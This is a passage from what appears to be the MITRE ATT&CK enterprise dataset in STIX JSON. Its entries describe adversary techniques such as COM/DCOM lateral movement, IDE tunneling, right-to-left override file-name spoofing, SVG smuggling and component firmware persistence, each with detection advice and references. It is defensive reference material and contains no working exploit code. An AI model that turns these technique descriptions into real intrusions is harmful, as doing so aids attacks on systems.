            "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Credential Request",
                "Logon Session: Logon Session Metadata"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1175",
                    "external_id": "T1175"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "Microsoft COM ACL",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
                },
                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft System Wide Com Keys",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
                },
                {
                    "source_name": "ProjectZero File Write EoP Apr 2018",
                    "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
                    "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html"
                },
                {
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
                },
                {
                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                },
                {
                    "source_name": "Enigma DCOM Lateral Movement Jan 2017",
                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
                },
                {
                    "source_name": "Enigma Excel DCOM Sept 2017",
                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
                },
                {
                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-25T15:15:44.893Z",
            "name": "Component Object Model and Distributed COM",
            "description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",
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            "x_mitre_deprecated": true,
            "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.1"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "created": "2017-05-31T21:30:29.458Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1020",
                    "external_id": "T1020"
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:42.569Z",
            "name": "Automated Exfiltration",
            "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
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                {
                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.3",
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                "File: File Access",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c",
            "created": "2020-10-02T16:47:16.719Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1592/004",
                    "external_id": "T1592.004"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            ],
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            "modified": "2025-04-15T21:57:34.604Z",
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            "description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c",
            "created": "2020-06-24T16:55:46.243Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/007",
                    "external_id": "T1562.007"
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                    "url": "https://expel.io/blog/finding-evil-in-aws/"
                },
                {
                    "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
                    "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:19:38.109Z",
            "name": "Disable or Modify Cloud Firewall",
            "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            ],
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            "x_mitre_contributors": [
                "Expel",
                "Arun Seelagan, CISA"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor cloud logs for modification or creation of new security groups or firewall rules.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
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                "Firewall: Firewall Rule Modification"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--77e29a47-e263-4f11-8692-e5012f44dbac",
            "created": "2025-03-20T18:46:24.598Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1219/001",
                    "external_id": "T1219.001"
                },
                {
                    "source_name": "sentinelone operationDigitalEye Dec 2024",
                    "description": "Aleksandar Milenkoski, Luigi Martire. (2024, December 10). Operation Digital Eye | Chinese APT Compromises Critical Digital Infrastructure via Visual Studio Code Tunnels. Retrieved February 27, 2025.",
                    "url": "https://www.sentinelone.com/labs/operation-digital-eye-chinese-apt-compromises-critical-digital-infrastructure-via-visual-studio-code-tunnels/"
                },
                {
                    "source_name": "Unit42 Chinese VSCode 06 September 2024",
                    "description": "Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved March 24, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/"
                },
                {
                    "source_name": "Thornton tutorial VSCode shell September 2023",
                    "description": "Truvis Thornton. (2023, September 25). Visual Studio Code: embedded reverse shell and how to block, create Sentinel Detection, and add Environment Prevention. Retrieved March 24, 2025.",
                    "url": "https://medium.com/@truvis.thornton/visual-studio-code-embedded-reverse-shell-and-how-to-block-create-sentinel-detection-and-add-e864ebafaf6d"
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            "modified": "2025-04-22T16:34:13.454Z",
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            "description": "Adversaries may abuse Integrated Development Environment (IDE) software with remote development features to establish an interactive command and control channel on target systems within a network. IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.(Citation: sentinelone operationDigitalEye Dec 2024)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Thornton tutorial VSCode shell September 2023)\n\nAdditionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution. Compromised developer machines may also be exploited as jump hosts to move further into the network.\n\nIDE tunneling tools may be built-in or installed as [IDE Extensions](https://attack.mitre.org/techniques/T1176/002).",
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                    "phase_name": "command-and-control"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69",
            "created": "2020-02-10T19:55:29.385Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/002",
                    "external_id": "T1036.002"
                },
                {
                    "source_name": "Trend Micro PLEAD RTLO",
                    "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/"
                },
                {
                    "source_name": "Kaspersky RTLO Cyber Crime",
                    "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.",
                    "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/"
                },
                {
                    "source_name": "Infosecinstitute RTLO Technique",
                    "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.",
                    "url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T23:00:50.575Z",
            "name": "Right-to-Left Override",
            "description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",
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                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
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            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970",
            "created": "2020-10-01T02:06:11.499Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/001",
                    "external_id": "T1588.001"
                },
                {
                    "source_name": "FireEyeSupplyChain",
                    "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
                    "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:47:58.443Z",
            "name": "Malware",
            "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Malware Repository: Malware Metadata",
                "Malware Repository: Malware Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--78b9e70d-1605-459c-b23d-e3a25036968c",
            "created": "2025-03-25T15:31:09.697Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/017",
                    "external_id": "T1027.017"
                },
                {
                    "source_name": "Talos SVG Smuggling 2022",
                    "description": "Adam Katz and Jaeson Schultz. (2022, December 13). HTML smugglers turn to SVG images. Retrieved March 25, 2025.",
                    "url": "https://blog.talosintelligence.com/html-smugglers-turn-to-svg-images/"
                },
                {
                    "source_name": "Trustwave SVG Smuggling 2025",
                    "description": "Bernard Bautista and Kevin Adriano. (2025, April 10). Pixel-Perfect Trap: The Surge of SVG-Borne Phishing Attacks. Retrieved April 14, 2025.",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pixel-perfect-trap-the-surge-of-svg-borne-phishing-attacks/"
                },
                {
                    "source_name": "Bleeping Computer SVG Smuggling 2024",
                    "description": "Lawrence Abrams. (2024, November 17). Phishing emails increasingly use SVG attachments to evade detection. Retrieved March 25, 2025.",
                    "url": "https://www.bleepingcomputer.com/news/security/phishing-emails-increasingly-use-svg-attachments-to-evade-detection/"
                },
                {
                    "source_name": "Cofense SVG Smuggling 2024",
                    "description": "Max Gannon. (2024, March 13). SVG Files Abused in Emerging Campaigns. Retrieved March 25, 2025.",
                    "url": "https://cofense.com/blog/svg-files-abused-in-emerging-campaigns/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:43.263Z",
            "name": "SVG Smuggling",
            "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files.(Citation: Trustwave SVG Smuggling 2025) SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `<script>` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files. \n\nSVG smuggling can take a number of forms. For example, threat actors may include content that: \n\n* Assembles malicious payloads(Citation: Talos SVG Smuggling 2022)\n* Downloads malicious payloads(Citation: Cofense SVG Smuggling 2024)\n* Redirects users to malicious websites(Citation: Bleeping Computer SVG Smuggling 2024)\n* Displays interactive content to users, such as fake login forms and download buttons.(Citation: Bleeping Computer SVG Smuggling 2024)\n\nSVG Smuggling may be used in conjunction with [HTML Smuggling](https://attack.mitre.org/techniques/T1027/006) where an SVG with a malicious payload is included inside an HTML file.(Citation: Talos SVG Smuggling 2022) SVGs may also be included in other types of documents, such as PDFs.  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Suraj Khetani (@r00treaver)",
                "Dhiraj Mishra (@RandomDhiraj)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4",
            "created": "2019-12-19T20:21:21.669Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1542/002",
                    "external_id": "T1542.002"
                },
                {
                    "source_name": "ITWorld Hard Disk Health Dec 2014",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved November 17, 2024.",
                    "url": "https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
                },
                {
                    "source_name": "SanDisk SMART",
                    "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018."
                },
                {
                    "source_name": "SmartMontools",
                    "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
                    "url": "https://www.smartmontools.org/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:43.347Z",
            "name": "Component Firmware",
            "description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Firmware: Firmware Modification",
                "Process: OS API Execution",
                "Driver: Driver Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "created": "2017-05-31T21:30:55.892Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070",
                    "external_id": "T1070"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:43.436Z",
            "name": "Indicator Removal",
